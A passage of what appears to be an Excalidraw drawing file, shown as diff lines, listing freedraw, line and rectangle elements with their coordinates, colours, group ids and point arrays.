], + [ + 18.682175012674925, + 37.01838382141104 + ], + [ + 21.62288774615189, + 36.67241761747222 + ], + [ + 24.217634275689385, + 36.153468311564986 + ], + [ + 24.39061737765846, + 35.80750210762618 + ], + [ + 24.73658358159793, + 35.461535903688016 + ], + [ + 24.90956668356701, + 35.461535903688016 + ], + [ + 25.082549785536088, + 35.28855280171894 + ], + [ + 25.428515989474246, + 35.28855280171894 + ], + [ + 25.601499091443323, + 35.11556969974921 + ], + [ + 25.774482193412403, + 35.11556969974921 + ], + [ + 25.255532887505165, + 35.80750210762618 + ], + [ + 21.276921542213728, + 36.32645141353407 + ], + [ + 16.779360891013752, + 37.3643500253492 + ], + [ + 11.935834035875612, + 38.748214841103135 + ], + [ + 4.151594447261823, + 41.16997826867156 + ], + [ + 0, + 43.41875859427154 + ], + [ + -3.459662039384198, + 45.32157271593272 + ], + [ + -5.881425466952611, + 47.397369939563625 + ], + [ + -7.78423958861379, + 48.43526855137876 + ], + [ + -8.995121302398651, + 49.300184061224805 + ], + [ + -9.687053710274967, + 49.81913336713204 + ], + [ + -10.033019914214433, + 50.165099571070854 + ], + [ + -10.033019914214433, + 50.33808267303994 + ], + [ + -8.476171996491415, + 50.165099571070854 + ], + [ + -6.919324078768396, + 49.992116469101774 + ], + [ + -4.84352685513814, + 49.992116469101774 + ], + [ + -2.0757972236302566, + 49.992116469101774 + ], + [ + 2.0757972236302566, + 49.81913336713204 + ], + [ + 3.459662039384198, + 49.81913336713204 + ], + [ + 6.054408568923001, + 49.81913336713204 + ], + [ + 9.68705371027628, + 49.81913336713204 + ], + [ + 15.049529871321653, + 49.81913336713204 + ], + [ + 16.95234399298283, + 49.81913336713204 + ], + [ + 20.412006032367024, + 49.81913336713204 + ], + [ + 24.0446511737203, + 49.81913336713204 + ], + [ + 25.428515989474246, + 49.81913336713204 + ], + [ + 25.774482193412403, + 49.81913336713204 + ], + [ + 25.428515989474246, + 49.81913336713204 + ], + [ + 21.276921542213728, + 49.992116469101774 + ], + [ + 15.741462279197968, + 50.511065775009016 + ], + [ + 11.070918526030216, + 51.54896438682413 + ], + [ + 7.092307180737474, + 52.58686299863992 + ], + [ + 3.459662039384198, + 53.97072781439321 + ], + [ + 0.5189493059072365, + 55.181609528178065 + ], + [ + -1.9028141216611774, + 56.392491241962276 + ], + [ + -4.67054375316775, + 57.776356057716214 + ], + [ + -5.535459263014454, + 58.295305363623456 + ], + [ + -6.054408568921691, + 58.64127156756228 + ], + [ + -6.227391670890769, + 58.814254669531344 + ], + [ + -6.400374772859848, + 58.814254669531344 + ], + [ + -6.573357874830237, + 58.987237771500425 + ], + [ + -6.054408568921691, + 58.987237771500425 + ], + [ + -4.324577549229591, + 58.987237771500425 + ], + [ + -1.55684791772302, + 58.987237771500425 + ], + [ + 3.8056282433223547, + 59.50618707740833 + ], + [ + 8.995121302398651, + 60.37110258725436 + ], + [ + 10.206003016183512, + 60.37110258725436 + ], + [ + 12.28180023981377, + 60.890051893161605 + ], + [ + 12.9737326476914, + 61.40900119906949 + ], + [ + 13.146715749660475, + 61.40900119906949 + ], + [ + 13.66566505556771, + 61.40900119906949 + ], + [ + 14.703563667383497, + 61.40900119906949 + ], + [ + 16.087428483137437, + 61.40900119906949 + ], + [ + 19.374107420551244, + 61.40900119906949 + ], + [ + 20.584989134336105, + 61.40900119906949 + ], + [ + 23.006752561905827, + 61.40900119906949 + ], + [ + 26.466414601290026, + 61.75496740300766 + ], + [ + 28.19624562098213, + 61.92795050497674 + ], + [ + 29.06116113082752, + 62.10093360694646 + ], + [ + 29.234144232796606, + 62.10093360694646 + ], + [ + 29.40712733476568, + 62.10093360694646 + ], + [ + 29.753093538703833, + 62.10093360694646 + ], + [ + 29.753093538703833, + 61.75496740300766 + ], + [ + 29.92607664067423, + 61.40900119906949 + ], + [ + 29.92607664067423, + 60.890051893161605 + ], + [ + 30.27204284461238, + 59.16022087346949 + ], + [ + 30.27204284461238, + 57.94933915968531 + ], + [ + 30.27204284461238, + 56.565474343931356 + ], + [ + 30.27204284461238, + 55.00862642620834 + ], + [ + 30.27204284461238, + 53.45177850848597 + ], + [ + 30.27204284461238, + 51.54896438682413 + ], + [ + 30.27204284461238, + 47.74333614350178 + ], + [ + 30.27204284461238, + 46.878420633655736 + ], + [ + 30.099059742643306, + 44.97560651199456 + ], + [ + 29.753093538703833, + 42.89980928836365 + ], + [ + 29.753093538703833, + 40.651028962764315 + ], + [ + 29.753093538703833, + 39.959096554887346 + ], + [ + 29.753093538703833, + 38.92119794307222 + ], + [ + 29.753093538703833, + 38.40224863716433 + ], + [ + 29.753093538703833, + 38.229265535195246 + ], + [ + 29.753093538703833, + 38.056282433226166 + ], + [ + 29.753093538703833, + 37.88329933125709 + ], + [ + 29.753093538703833, + 37.71031622928736 + ], + [ + 29.753093538703833, + 37.53733312731828 + ], + [ + 29.92607664067423, + 37.01838382141104 + ], + [ + 30.099059742643306, + 36.8454007194413 + ], + [ + 30.27204284461238, + 35.98048520959526 + ], + [ + 30.27204284461238, + 35.80750210762618 + ], + [ + 30.27204284461238, + 35.28855280171894 + ], + [ + 30.618009048550547, + 34.94258659778012 + ], + [ + 30.618009048550547, + 34.42363729187289 + ], + [ + 30.618009048550547, + 34.250654189903166 + ], + [ + 30.618009048550547, + 33.731704883995924 + ], + [ + 30.44502594658146, + 33.21275557808803 + ], + [ + 29.234144232796606, + 31.828890762334748 + ], + [ + 28.715194926889364, + 31.65590766036501 + ], + [ + 25.601499091443323, + 30.272042844611725 + ], + [ + 19.547090522521632, + 29.580110436734746 + ], + [ + 14.703563667383497, + 29.580110436734746 + ], + [ + 10.033019914214433, + 29.580110436734746 + ], + [ + 6.054408568923001, + 29.580110436734746 + ], + [ + 3.11369583544604, + 29.580110436734746 + ], + [ + 0.5189493059072365, + 29.580110436734746 + ], + [ + -1.729831019692099, + 29.580110436734746 + ], + [ + -3.9786113452914345, + 29.580110436734746 + ], + [ + -4.84352685513814, + 29.580110436734746 + ], + [ + -5.881425466952611, + 29.580110436734746 + ], + [ + -6.746340976799316, + 29.580110436734746 + ], + [ + -7.265290282706554, + 29.580110436734746 + ], + [ + -7.438273384675631, + 29.75309353870383 + ], + [ + -7.265290282706554, + 30.963975252488694 + ], + [ + -6.919324078768396, + 32.866789374149874 + ], + [ + -6.400374772859848, + 34.59662039384197 + ], + [ + -6.227391670890769, + 35.98048520959526 + ], + [ + -6.054408568921691, + 36.32645141353407 + ], + [ + -6.054408568921691, + 35.98048520959526 + ], + [ + -6.054408568921691, + 35.98048520959526 + ] + ], + "lastCommittedPoint": null, + "simulatePressure": true, + "pressures": [] + }, + { + "type": "line", + "version": 1630, + "versionNonce": 846555360, + "index": "c14rf", + "isDeleted": false, + "id": "kpDx62_IuDY4fi0ALns-h", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2780.6290603860853, + "y": -957.9645629553329, + "strokeColor": "#343a40", + "backgroundColor": "#ced4da", + "width": 68.71257153179448, + "height": 60.201930953927956, + "seed": 1320979640, + "groupIds": [ + "2QV_KmOsg7KKEw7pVVuV-", + "O-bbiSlnAip1o6o3ShRLT", + "55fzAsdBxWHJFyqlYsgTm", + "OaQTr3GmlF1fpwGlqMbVO" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453352, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 1.7454321736900085, + 21.740920053401442 + ], + [ + 26.514563663031257, + 32.779032478190786 + ], + [ + 27.899012478054726, + 59.765660658487725 + ], + [ + 39.767456175352514, + 59.231466004238264 + ], + [ + 42.273645797464944, + 33.041740486123636 + ], + [ + 68.71257153179448, + 20.2865687379583 + ], + [ + 68.71257153179448, + -0.4362702954402311 + ], + [ + 0, + 0 + ] + ] + }, + { + "type": "freedraw", + "version": 1168, + "versionNonce": 362106080, + "index": "c14rg", + "isDeleted": false, + "id": "FOasRcXWkp0JXIHx9k86P", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2812.6991934975968, + "y": -880.3616260488425, + "strokeColor": "#343a4011", + "backgroundColor": "#ced4da", + "width": 24.23023640388396, + "height": 40.41262315174316, + "seed": 838481336, + "groupIds": [ + "2QV_KmOsg7KKEw7pVVuV-", + "O-bbiSlnAip1o6o3ShRLT", + "55fzAsdBxWHJFyqlYsgTm", + "OaQTr3GmlF1fpwGlqMbVO" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453352, + "link": null, + "locked": false, + "points": [ + [ + 0, + -29.39353410706135 + ], + [ + 0, + -29.727522728150422 + ], + [ + 0, + -30.39549997032762 + ], + [ + 0, + -31.73145445468297 + ], + [ + 0, + -33.06740893903834 + ], + [ + 0, + -34.40336342339371 + ], + [ + 0, + -35.405329286659985 + ], + [ + 0, + -36.40729514992627 + ], + [ + 0, + -37.40926101319255 + ], + [ + 0, + -38.74521549754791 + ], + [ + 0, + -39.413192739725105 + ], + [ + 0, + -40.74914722408046 + ], + [ + 0, + -41.083135845169544 + ], + [ + 0, + -41.75111308734675 + ], + [ + 0.5769103905674791, + -42.75307895061302 + ], + [ + 0.5769103905674791, + -43.755044813879316 + ], + [ + 1.1538207811382808, + -44.75701067714559 + ], + [ + 1.7307311717057596, + -45.424987919323755 + ], + [ + 1.7307311717057596, + -45.758976540411865 + ], + [ + 2.3076415622732385, + -46.09296516150095 + ], + [ + 2.3076415622732385, + -46.76094240367814 + ], + [ + 2.8845519528440398, + -47.09493102476723 + ], + [ + 2.8845519528440398, + -47.4289196458563 + ], + [ + 4.038372733978998, + -48.09689688803351 + ], + [ + 4.038372733978998, + -48.43088550912258 + ], + [ + 4.6152831245498, + -48.76487413021167 + ], + [ + 5.769103905684759, + -48.76487413021167 + ], + [ + 7.49983507739384, + -49.43285137238886 + ], + [ + 10.384387030234558, + -49.76683999347795 + ], + [ + 12.115118201940318, + -50.434817235655146 + ], + [ + 14.42275976421688, + -50.76880585674422 + ], + [ + 15.576580545351835, + -51.10279447783234 + ], + [ + 16.153490935922637, + -51.43678309892143 + ], + [ + 16.730401326490117, + -51.770771720010515 + ], + [ + 17.307311717057594, + -51.770771720010515 + ], + [ + 17.307311717057594, + -52.10476034109959 + ], + [ + 17.307311717057594, + -52.43874896218771 + ], + [ + 17.307311717057594, + -53.10672620436587 + ], + [ + 17.307311717057594, + -54.10869206763215 + ], + [ + 17.307311717057594, + -55.11065793089843 + ], + [ + 17.884222107628396, + -56.446612415253796 + ], + [ + 18.461132498195877, + -57.782566899608184 + ], + [ + 20.191863669901633, + -59.11852138396353 + ], + [ + 20.191863669901633, + -60.120487247229825 + ], + [ + 21.345684451039915, + -61.45644173158519 + ], + [ + 21.922594841607392, + -62.124418973762396 + ], + [ + 21.922594841607392, + -62.79239621594055 + ], + [ + 21.922594841607392, + -63.79436207920683 + ], + [ + 21.922594841607392, + -64.46233932138404 + ], + [ + 21.922594841607392, + -64.79632794247313 + ], + [ + 21.922594841607392, + -65.46430518465031 + ], + [ + 21.922594841607392, + -66.46627104791658 + ], + [ + 21.922594841607392, + -66.80025966900567 + ], + [ + 21.922594841607392, + -67.80222553227195 + ], + [ + 22.499505232174872, + -68.47020277445013 + ], + [ + 23.65332601331315, + -69.13818001662732 + ], + [ + 23.65332601331315, + -69.47216863771641 + ], + [ + 24.23023640388396, + -69.47216863771641 + ], + [ + 24.23023640388396, + -69.80615725880452 + ], + [ + 24.23023640388396, + -69.80615725880452 + ] + ], + "lastCommittedPoint": null, + "simulatePressure": true, + "pressures": [] + }, + { + "type": "line", + "version": 1443, + "versionNonce": 1394127072, + "index": "c14rh", + "isDeleted": false, + "id": "bxA4MgmsuaJYJuOWwcF6A", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2849.894847204099, + "y": -1079.6826360807142, + "strokeColor": "#000000", + "backgroundColor": "#fff", + "width": 51.75944168086124, + "height": 72.35758683957152, + "seed": 295354040, + "groupIds": [ + "6MiWf3M8c7aDE98Hl2rWo", + "2QV_KmOsg7KKEw7pVVuV-", + "O-bbiSlnAip1o6o3ShRLT", + "55fzAsdBxWHJFyqlYsgTm", + "OaQTr3GmlF1fpwGlqMbVO" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453353, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + -0.2640787840858196, + 56.51285979440991 + ], + [ + 50.70312654451664, + 56.248781010323434 + ], + [ + 51.49536289677542, + -15.58064826107514 + ], + [ + 14.524333124731863, + -15.84472704516161 + ], + [ + 0, + 0 + ] + ] + }, + { + "type": "line", + "version": 1629, + "versionNonce": 1385141472, + "index": "c14ri", + "isDeleted": false, + "id": "6WIFi2UqupimjJFCAxDcM", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2847.4222487669476, + "y": -1077.8485445967765, + "strokeColor": "#000000", + "backgroundColor": "#fff", + "width": 51.75944168086124, + "height": 72.35758683957152, + "seed": 507652024, + "groupIds": [ + "6MiWf3M8c7aDE98Hl2rWo", + "2QV_KmOsg7KKEw7pVVuV-", + "O-bbiSlnAip1o6o3ShRLT", + "55fzAsdBxWHJFyqlYsgTm", + "OaQTr3GmlF1fpwGlqMbVO" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453353, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + -0.2640787840858196, + 56.51285979440991 + ], + [ + 50.70312654451664, + 56.248781010323434 + ], + [ + 51.49536289677542, + -15.58064826107514 + ], + [ + 14.524333124731863, + -15.84472704516161 + ], + [ + 0, + 0 + ] + ] + }, + { + "type": "line", + "version": 1366, + "versionNonce": 160037088, + "index": "c14rj", + "isDeleted": false, + "id": "l-Dnq4SSrWlHdEmXGY0jq", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2844.97857033912, + "y": -1076.0144531128387, + "strokeColor": "#000000", + "backgroundColor": "#fff", + "width": 51.75944168086124, + "height": 72.35758683957152, + "seed": 1410625720, + "groupIds": [ + "6MiWf3M8c7aDE98Hl2rWo", + "2QV_KmOsg7KKEw7pVVuV-", + "O-bbiSlnAip1o6o3ShRLT", + "55fzAsdBxWHJFyqlYsgTm", + "OaQTr3GmlF1fpwGlqMbVO" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453353, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + -0.2640787840858196, + 56.51285979440991 + ], + [ + 50.70312654451664, + 56.248781010323434 + ], + [ + 51.49536289677542, + -15.58064826107514 + ], + [ + 14.524333124731863, + -15.84472704516161 + ], + [ + 0, + 0 + ] + ] + }, + { + "type": "line", + "version": 1263, + "versionNonce": 999808224, + "index": "c14rl", + "isDeleted": false, + "id": "NZCAjD9qh4CAJ0ofrQmdB", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2860.295139816109, + "y": -1090.010628669398, + "strokeColor": "#000000", + "backgroundColor": "#ced4da", + "width": 13.468017988387276, + "height": 13.732096772473094, + "seed": 179673528, + "groupIds": [ + "6MiWf3M8c7aDE98Hl2rWo", + "2QV_KmOsg7KKEw7pVVuV-", + "O-bbiSlnAip1o6o3ShRLT", + "55fzAsdBxWHJFyqlYsgTm", + "OaQTr3GmlF1fpwGlqMbVO" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453353, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + -0.5281575681716392, + 13.732096772473094 + ], + [ + -13.468017988387276, + 13.732096772473094 + ] + ] + }, + { + "type": "rectangle", + "version": 1258, + "versionNonce": 977879264, + "index": "c14rm", + "isDeleted": false, + "id": "8_PdhIcw4L5-wMCd_BX5k", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2859.5029034638546, + "y": -1072.3173501356348, + "strokeColor": "transparent", + "backgroundColor": "#868e9644", + "width": 26.40787840860291, + "height": 5.545654465806139, + "seed": 88711864, + "groupIds": [ + "6MiWf3M8c7aDE98Hl2rWo", + "2QV_KmOsg7KKEw7pVVuV-", + "O-bbiSlnAip1o6o3ShRLT", + "55fzAsdBxWHJFyqlYsgTm", + "OaQTr3GmlF1fpwGlqMbVO" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453353, + "link": null, + "locked": false + }, + { + "type": "rectangle", + "version": 1279, + "versionNonce": 623781088, + "index": "c14rn", + "isDeleted": false, + "id": "fetn0Y9cn2Bv3KC9sW4iU", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2859.642172858231, + "y": -1061.3150679799576, + "strokeColor": "transparent", + "backgroundColor": "#868e9644", + "width": 26.40787840860291, + "height": 5.545654465806139, + "seed": 41192376, + "groupIds": [ + "6MiWf3M8c7aDE98Hl2rWo", + "2QV_KmOsg7KKEw7pVVuV-", + "O-bbiSlnAip1o6o3ShRLT", + "55fzAsdBxWHJFyqlYsgTm", + "OaQTr3GmlF1fpwGlqMbVO" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453353, + "link": null, + "locked": false + }, + { + "type": "rectangle", + "version": 1311, + "versionNonce": 701925600, + "index": "c14ro", + "isDeleted": false, + "id": "CfMvPSkcEnPPbE_h2YnM7", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2859.5029034638546, + "y": -1052.1736189022172, + "strokeColor": "transparent", + "backgroundColor": "#868e9644", + "width": 26.40787840860291, + "height": 5.545654465806139, + "seed": 1280988344, + "groupIds": [ + "6MiWf3M8c7aDE98Hl2rWo", + "2QV_KmOsg7KKEw7pVVuV-", + "O-bbiSlnAip1o6o3ShRLT", + "55fzAsdBxWHJFyqlYsgTm", + "OaQTr3GmlF1fpwGlqMbVO" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453353, + "link": null, + "locked": false + }, + { + "type": "rectangle", + "version": 1338, + "versionNonce": 1137863904, + "index": "c14rp", + "isDeleted": false, + "id": "-EgdOElkCKMWGqgW2Xw0Q", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2859.5029034638546, + "y": -1043.5672735341143, + "strokeColor": "transparent", + "backgroundColor": "#868e9644", + "width": 26.40787840860291, + "height": 5.545654465806139, + "seed": 1218379192, + "groupIds": [ + "6MiWf3M8c7aDE98Hl2rWo", + "2QV_KmOsg7KKEw7pVVuV-", + "O-bbiSlnAip1o6o3ShRLT", + "55fzAsdBxWHJFyqlYsgTm", + "OaQTr3GmlF1fpwGlqMbVO" + ], + "frameId": null, + "roundness": null, + "boundElements": [ + { + "id": "wwIQ7p2yjr4Ep2QInToEe", + "type": "arrow" + } + ], + "updated": 1720441453353, + "link": null, + "locked": false + }, + { + "type": "rectangle", + "version": 1356, + "versionNonce": 2092028128, + "index": "c14rq", + "isDeleted": false, + "id": "BCcAk7PVIJDx8-GLXdERZ", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2859.5029034638546, + "y": -1034.7078003610625, + "strokeColor": "transparent", + "backgroundColor": "#868e9644", + "width": 26.40787840860291, + "height": 5.545654465806139, + "seed": 140936888, + "groupIds": [ + "6MiWf3M8c7aDE98Hl2rWo", + "2QV_KmOsg7KKEw7pVVuV-", + "O-bbiSlnAip1o6o3ShRLT", + "55fzAsdBxWHJFyqlYsgTm", + "OaQTr3GmlF1fpwGlqMbVO" + ], + "frameId": null, + "roundness": null, + "boundElements": [ + { + "id": "wwIQ7p2yjr4Ep2QInToEe", + "type": "arrow" + } + ], + "updated": 1720441453353, + "link": null, + "locked": false + }, + { + "type": "freedraw", + "version": 1545, + "versionNonce": 928717024, + "index": "c14rr", + "isDeleted": false, + "id": "nuwX-FMnr9Sed-nLdWLfT", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2860.4301154836066, + "y": -1087.1102648229516, + "strokeColor": "#5c940d11", + "backgroundColor": "transparent", + "width": 45.84052202184127, + "height": 64.69568013648461, + "seed": 1481961400, + "groupIds": [ + "GPvQQxAsVkfPFJ5adZ4rA", + "6MiWf3M8c7aDE98Hl2rWo", + "2QV_KmOsg7KKEw7pVVuV-", + "O-bbiSlnAip1o6o3ShRLT", + "55fzAsdBxWHJFyqlYsgTm", + "OaQTr3GmlF1fpwGlqMbVO" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453353, + "link": null, + "locked": false, + "points": [ + [ + 0, + 0 + ], + [ + 0, + -0.1729831019690788 + ], + [ + 0.17298310196907882, + -0.3459662039388127 + ], + [ + 1.3838648157539413, + -0.5189493059078916 + ], + [ + 5.535459263014454, + -0.5189493059078916 + ], + [ + 9.34108750633812, + -0.5189493059078916 + ], + [ + 13.319698851629552, + -1.037898611815128 + ], + [ + 17.644276400859145, + -1.7298310196920987 + ], + [ + 21.79587084812097, + -2.24878032559999 + ], + [ + 25.082549785536088, + -2.24878032559999 + ], + [ + 26.985363907197264, + -2.4217634275690694 + ], + [ + 28.36922872295121, + -2.594746529538148 + ], + [ + 28.542211824920283, + -2.594746529538148 + ], + [ + 28.023262519011737, + -2.4217634275690694 + ], + [ + 26.293431499319638, + -1.3838648157539408 + ], + [ + 23.52570186781307, + -0.3459662039388127 + ], + [ + 19.028141216613083, + 0.8649155098460494 + ], + [ + 14.011631259505869, + 1.7298310196920987 + ], + [ + 7.265290282706554, + 2.9407127334763055 + ], + [ + 1.0378986118157834, + 3.632645141353276 + ], + [ + -4.84352685513814, + 4.497560651199326 + ], + [ + -9.341087506336807, + 5.189493059076296 + ], + [ + -10.206003016183512, + 5.3624761610453735 + ], + [ + -10.378986118152593, + 5.708442364983532 + ], + [ + -10.551969220121672, + 5.708442364983532 + ], + [ + -10.378986118152593, + 6.054408568922345 + ], + [ + -8.995121302398651, + 6.227391670891424 + ], + [ + -4.151594447260513, + 6.573357874829582 + ], + [ + -1.55684791772302, + 7.092307180737473 + ], + [ + 5.016509957107217, + 7.092307180737473 + ], + [ + 13.146715749660475, + 7.265290282706552 + ], + [ + 21.276921542213728, + 7.265290282706552 + ], + [ + 28.715194926889364, + 7.265290282706552 + ], + [ + 30.27204284461238, + 7.265290282706552 + ], + [ + 32.693806272180794, + 7.265290282706552 + ], + [ + 34.077671087934746, + 7.265290282706552 + ], + [ + 35.11556969975052, + 7.265290282706552 + ], + [ + 35.2885528017196, + 7.611256486645364 + ], + [ + 35.2885528017196, + 7.957222690583523 + ], + [ + 35.2885528017196, + 8.822138200429572 + ], + [ + 35.2885528017196, + 9.341087506337463 + ], + [ + 35.2885528017196, + 9.68705371027562 + ], + [ + 34.25065418990381, + 10.897935424059828 + ], + [ + 31.828890762335398, + 11.24390162799864 + ], + [ + 25.601499091443323, + 12.627766443751925 + ], + [ + 23.35271876584398, + 12.80074954572166 + ], + [ + 16.087428483137437, + 13.83864815753679 + ], + [ + 11.589867831937454, + 14.876546769351915 + ], + [ + 8.476171996491415, + 15.741462279197966 + ], + [ + 6.22739167089208, + 16.606377789044014 + ], + [ + 4.84352685513814, + 16.952343992982172 + ], + [ + 3.632645141353277, + 17.298310196920983 + ], + [ + 2.594746529538803, + 17.644276400859145 + ], + [ + 1.729831019692099, + 17.990242604797956 + ], + [ + 1.3838648157539413, + 18.163225706767037 + ], + [ + 0.8649155098467044, + 18.163225706767037 + ], + [ + 0.5189493059072365, + 18.163225706767037 + ], + [ + 0, + 18.50919191070519 + ], + [ + -1.037898611814473, + 18.682175012674268 + ], + [ + -1.55684791772302, + 18.682175012674268 + ], + [ + -1.9028141216611774, + 18.855158114644006 + ], + [ + -2.0757972236302566, + 18.855158114644006 + ], + [ + -2.767729631506572, + 19.201124318582163 + ], + [ + -3.9786113452914345, + 19.201124318582163 + ], + [ + -5.189493059076296, + 19.37410742055124 + ], + [ + -5.535459263014454, + 19.720073624490055 + ], + [ + -5.708442364983533, + 19.89305672645913 + ], + [ + -5.535459263014454, + 20.23902293039729 + ], + [ + -3.459662039384198, + 20.757972236305186 + ], + [ + 0, + 21.622887746151232 + ], + [ + 4.151594447261823, + 22.3148201540282 + ], + [ + 8.649155098460493, + 23.00675256190452 + ], + [ + 13.146715749660475, + 23.52570186781241 + ], + [ + 20.412006032367024, + 24.56360047962754 + ], + [ + 23.006752561905827, + 24.90956668356635 + ], + [ + 26.12044839735056, + 25.082549785535427 + ], + [ + 27.677296315073583, + 25.255532887504508 + ], + [ + 28.023262519011737, + 25.255532887504508 + ], + [ + 26.985363907197264, + 25.255532887504508 + ], + [ + 23.52570186781307, + 25.601499091442665 + ], + [ + 19.72007362449071, + 26.120448397350557 + ], + [ + 16.087428483137437, + 27.5043132131045 + ], + [ + 12.627766443753238, + 29.234144232796595 + ], + [ + 8.822138200429572, + 32.1748569662729 + ], + [ + 5.881425466953922, + 34.42363729187289 + ], + [ + 3.9786113452914345, + 35.80750210762618 + ], + [ + 1.9028141216611774, + 37.19136692338012 + ], + [ + 0.6919324078776257, + 38.229265535195246 + ], + [ + 0, + 38.92119794307222 + ], + [ + -0.5189493059072365, + 39.44014724897945 + ], + [ + 0, + 39.44014724897945 + ], + [ + 1.0378986118157834, + 39.44014724897945 + ], + [ + 4.67054375316906, + 38.748214841103135 + ], + [ + 8.822138200429572, + 38.5752317391334 + ], + [ + 14.357597463445337, + 37.71031622928736 + ], + [ + 18.682175012674925, + 37.01838382141104 + ], + [ + 21.62288774615189, + 36.67241761747222 + ], + [ + 24.217634275689385, + 36.153468311564986 + ], + [ + 24.39061737765846, + 35.80750210762618 + ], + [ + 24.73658358159793, + 35.461535903688016 + ], + [ + 24.90956668356701, + 35.461535903688016 + ], + [ + 25.082549785536088, + 35.28855280171894 + ], + [ + 25.428515989474246, + 35.28855280171894 + ], + [ + 25.601499091443323, + 35.11556969974921 + ], + [ + 25.774482193412403, + 35.11556969974921 + ], + [ + 25.255532887505165, + 35.80750210762618 + ], + [ + 21.276921542213728, + 36.32645141353407 + ], + [ + 16.779360891013752, + 37.3643500253492 + ], + [ + 11.935834035875612, + 38.748214841103135 + ], + [ + 4.151594447261823, + 41.16997826867156 + ], + [ + 0, + 43.41875859427154 + ], + [ + -3.459662039384198, + 45.32157271593272 + ], + [ + -5.881425466952611, + 47.397369939563625 + ], + [ + -7.78423958861379, + 48.43526855137876 + ], + [ + -8.995121302398651, + 49.300184061224805 + ], + [ + -9.687053710274967, + 49.81913336713204 + ], + [ + -10.033019914214433, + 50.165099571070854 + ], + [ + -10.033019914214433, + 50.33808267303994 + ], + [ + -8.476171996491415, + 50.165099571070854 + ], + [ + -6.919324078768396, + 49.992116469101774 + ], + [ + -4.84352685513814, + 49.992116469101774 + ], + [ + -2.0757972236302566, + 49.992116469101774 + ], + [ + 2.0757972236302566, + 49.81913336713204 + ], + [ + 3.459662039384198, + 49.81913336713204 + ], + [ + 6.054408568923001, + 49.81913336713204 + ], + [ + 9.68705371027628, + 49.81913336713204 + ], + [ + 15.049529871321653, + 49.81913336713204 + ], + [ + 16.95234399298283, + 49.81913336713204 + ], + [ + 20.412006032367024, + 49.81913336713204 + ], + [ + 24.0446511737203, + 49.81913336713204 + ], + [ + 25.428515989474246, + 49.81913336713204 + ], + [ + 25.774482193412403, + 49.81913336713204 + ], + [ + 25.428515989474246, + 49.81913336713204 + ], + [ + 21.276921542213728, + 49.992116469101774 + ], + [ + 15.741462279197968, + 50.511065775009016 + ], + [ + 11.070918526030216, + 51.54896438682413 + ], + [ + 7.092307180737474, + 52.58686299863992 + ], + [ + 3.459662039384198, + 53.97072781439321 + ], + [ + 0.5189493059072365, + 55.181609528178065 + ], + [ + -1.9028141216611774, + 56.392491241962276 + ], + [ + -4.67054375316775, + 57.776356057716214 + ], + [ + -5.535459263014454, + 58.295305363623456 + ], + [ + -6.054408568921691, + 58.64127156756228 + ], + [ + -6.227391670890769, + 58.814254669531344 + ], + [ + -6.400374772859848, + 58.814254669531344 + ], + [ + -6.573357874830237, + 58.987237771500425 + ], + [ + -6.054408568921691, + 58.987237771500425 + ], + [ + -4.324577549229591, + 58.987237771500425 + ], + [ + -1.55684791772302, + 58.987237771500425 + ], + [ + 3.8056282433223547, + 59.50618707740833 + ], + [ + 8.995121302398651, + 60.37110258725436 + ], + [ + 10.206003016183512, + 60.37110258725436 + ], + [ + 12.28180023981377, + 60.890051893161605 + ], + [ + 12.9737326476914, + 61.40900119906949 + ], + [ + 13.146715749660475, + 61.40900119906949 + ], + [ + 13.66566505556771, + 61.40900119906949 + ], + [ + 14.703563667383497, + 61.40900119906949 